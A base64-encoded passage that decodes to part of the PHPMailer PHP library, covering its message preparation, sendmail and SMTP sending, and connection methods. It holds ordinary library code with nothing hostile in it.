CAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9Ci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WFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVh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BvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0a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GhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBw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ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7C